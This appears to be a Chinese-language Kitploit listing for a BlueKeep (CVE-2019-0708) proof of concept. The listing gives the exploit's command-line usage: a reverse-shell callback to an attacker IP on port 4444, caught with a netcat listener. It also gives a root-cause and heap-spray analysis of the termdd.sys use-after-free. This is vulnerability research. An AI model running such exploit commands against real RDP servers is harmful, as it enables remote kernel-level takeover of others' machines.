Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-0708 — CVE-2019-0708 (BlueKeep) 概念验证,允许在 Windows 7 上实现预认证远程代码执行(RCE) | Kitploit
工具/GitHubGitHub/ricseclab/cve-2019-0708
漏洞分析漏洞利用渗透测试远程访问工具Payload 开发二进制利用
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) 概念验证,允许在 Windows 7 上实现预认证远程代码执行(RCE)

查看仓库
15023524年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-0708 (BlueKeep) 预认证 RCE POC 在 Windows7 上

Ricerca Security, Inc.

本仓库演示了 Windows 远程桌面服务 (RDS) 中的远程代码执行漏洞。

这是我们之前开发的关于 BlueKeep 漏洞的 POC 代码和技术报告。
注意: 我们的目标是帮助分析人员更好地理解关键漏洞。

使用方法

前置条件

我们的利用代码使用 Python 3 编写,并依赖于 PyRDP 库。请按照 PyRDP 的安装指南进行设置。

用法

目前,我们的利用工具针对并在 Virtual Box 上的 Windows 7 SP 1 (6.1.7601) x64 上进行了测试。

如果你的计算机 IP 地址为 192.168.56.1,并且目标 RDP 服务器位于 example.com:1234,则输入:

$ python exploit.py example.com -rp 1234 192.168.56.1

如果脚本成功利用服务器,一个反向连接 shellcode 会从服务器发起一个 TCP 连接到 192.168.56.1:4444。 因此,例如你应该使用 netcat 等待连接:

$ nc -v -l 4444

如果你想更改服务器回连的端口号,请使用 -bp 选项:

$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

报告

漏洞

2019 年 5 月,微软披露了远程桌面服务(原终端服务)中的一个严重远程代码执行漏洞 CVE-2019-0708。该漏洞是预认证的——意味着该漏洞具有蠕虫特性,可能造成广泛破坏。攻击者可以通过向目标服务器发送特制的远程桌面协议(RDP)消息来利用此漏洞,并以管理权限执行任意代码。

RDP 虚拟通道

Microsoft 远程桌面服务允许用户远程打开交互式 Windows 会话。它通过远程桌面协议(RDP)在 3389/TCP 端口上与用户客户端通信,向用户呈现 Windows 桌面。

RDP 协议可以通过称为虚拟通道的软件扩展来增强功能。功能增强的示例可能包括:支持特殊类型的硬件、音频或其他对核心功能的补充。
这些通道包括标准 Microsoft 提供的通道,如 "rdpdr"(重定向)、"rdpsnd"(声音)、"cliprdr"(剪贴板共享)等。用户可以使用 RDP API 编写模块以支持其他通道。除了上述通道外,Microsoft 默认创建了两个通道:MS_T120(用于 RDP 本身)和 CTXTW(用于 Citrix ICA)。

该漏洞与通过 "MCS Connect Initial 和 GCC Create" 请求进行的 MS_T120 虚拟通道绑定过程有关。更多背景信息可从 ZDI 获取。
正如 ZDI 文章所述,客户端请求的所有虚拟通道都是通过 termdd!IcaCreateChannel() 创建的。然后,指向这些通道结构的指针存储在一个表中,我们称之为 ChannelPointerTable。
当与 RDP 客户端建立连接时,包括 MS_T120 在内的所有静态虚拟通道都由 Windows RDP 服务器内部初始化,并由 ChannelPointerTable 指向。

创建 MS_T120 和 CTXTW 的查询由 rdpcore!WDLIB_IcaVirtualQueryBindings() 发起。

图 1:生成用于创建 MS_T120 和 CTXTW 的查询

查询传递到 termdd!IcaBindVirtualChannels() 后,在 termdd!IcaAllocateChannel() 中创建虚拟通道结构,并注册到 ChannelPointerTable 中。

图 2:创建并注册虚拟通道结构

函数例程 termdd!IcaBindChannel() 负责将虚拟通道结构注册到 ChannelPointerTable 中。 IcaBindChannel
以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x1f 调用时。

图 3:MS_T120 在初始请求期间绑定到插槽 0x1f

然后 ChannelPointerTable 如下所示。注意 MS_T120 始终存在于插槽 0x1F 中。

图 4:初始请求期间的 ChannelPointerTable

根因分析

Windows RDP 内核驱动 termdd.sys 中存在一个释放后使用漏洞。
问题在于,当客户端在 "MCS Connect Initial 和 GCC Create" 期间指定名为 MS_T120\x00 的通道时,termdd!IcaCreateChannel() 调用 termdd!IcaFindChannelByName() 并返回插槽 0x1F 中现有的 MS_T120 通道结构。然后,在 "MCS Attach User Request" 期间,该通道结构被视为一个新的虚拟通道条目,并存储在其他插槽(本例中为插槽 2)中。
以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x2 调用时。

图 5:MS_T120 在附加请求期间也绑定到插槽 0x2

换句话说,MS_T120 通道结构被两个插槽 0x1F 和 0x2 指向。

图 6:附加请求期间的 ChannelPointerTable

如果攻击者随后向 MS_T120 通道发送无效数据,termdd.sys 使用 termdd!IcaCloseChannel() 关闭通道,并清除该插槽处的指针(本例中为插槽 2)。
然而,插槽 0x1F 中的相同指针并未被清除。
随后,当连接终止时,RDPWD!HandleDisconnectProviderUlt() 被调用,后者又调用 termdd!IcaChannelInputInternal(),并尝试再次使用插槽 0x1F 处的指针来销毁已释放的 MS_T120 通道结构。通过通道结构中的 vtable 指针调用销毁过程。这导致了一个释放后使用条件。

图 7:vtable 解引用

堆喷射

如前所述,RDPWD!HandleDisconnectProviderUlt() 尝试从已释放通道结构中的 vtable 指针调用函数。如果攻击者能够控制通道结构中的值,他就可以覆盖 vtable 指针,从而导致以内核权限执行任意代码。
然而,要实现这一点,存在两个难点。

一是如何首先控制已释放通道结构中的值。为此,攻击者通常在释放的结构所在位置分配内存,因为目标漏洞是释放后使用。
但是,在这种情况下,他无法确定性按自己的意愿在目标位置分配内存。这是因为在内核中,许多线程同时运行并分配内存(实际上几乎是同时的)。他的内存分配在哪里取决于线程运行的顺序。在几乎所有情况下,他无法确定是否成功进行了分配。
HeapSizeChange
HeapSizeChange

另一个难点是在哪里设置 vtable 及其指针的地址。如前一节所述,攻击者需要设置 vtable 的地址。由于他希望获得任意代码执行,他应该设置地址,使得伪造的 vtable 包含他想要执行的地址(例如 shellcode 或某些 gadget 的地址)。
然而,由于内核堆和 KASLR 的随机性,他几乎无法知道这样的合适地址:

  1. 他可能可以在内核堆中分配内存并将 shellcode 的地址写入分配的内存位置。但通常他无法得知分配位置的地址,因为如上所述的随机性。
  2. 另一种可能性(尽管不太可能)是使用静态(非堆)内存位置,这些位置偶然包含有用 gadget 的地址,例如代码段中的某个位置。然而,这个方案也不太奏效,因为 Windows 7 采用了 KASLR 缓解措施,随机化了这些内存位置的地址。

这些事实意味着,即使攻击者能够控制 vtable 指针,他也无法直接获得任意代码执行,除非他利用另一个漏洞来泄漏内核中的地址。 此外,你可能注意到,“shellcode 或某些 gadget 的地址”也是攻击者无法知道的。

我们的利用通过单一技术解决了这些障碍:堆喷射。堆喷射是一种打破这些随机性的方法,它大量分配大量内存。

图 8:喷射前堆池的使用情况

图 9:喷射后堆池的使用情况

通过多次重复特制的分配,攻击者可以增加某些分配的内存位于已释放通道结构位置的概率。

如果内核堆中的大多数对象都是攻击者准备的,那么他甚至可以粗心地指定堆中的某个地址作为伪造 vtable 的地址,因为指定的地址很可能指向他的对象。我们注意到,内核堆的基地址不会被 KASLR 随机化。基本上,堆的随机性仅来自线程执行顺序。

幸运且最重要的是,在 Windows 7 中,非分页内核池未启用 NX 位。这意味着攻击者不仅可以在内核堆中存储伪造的 vtable,还可以直接存储 shellcode。这使得利用更加容易,因为我们不需要使用返回导向编程。

图 10:页表项(PTE)权限

下载工具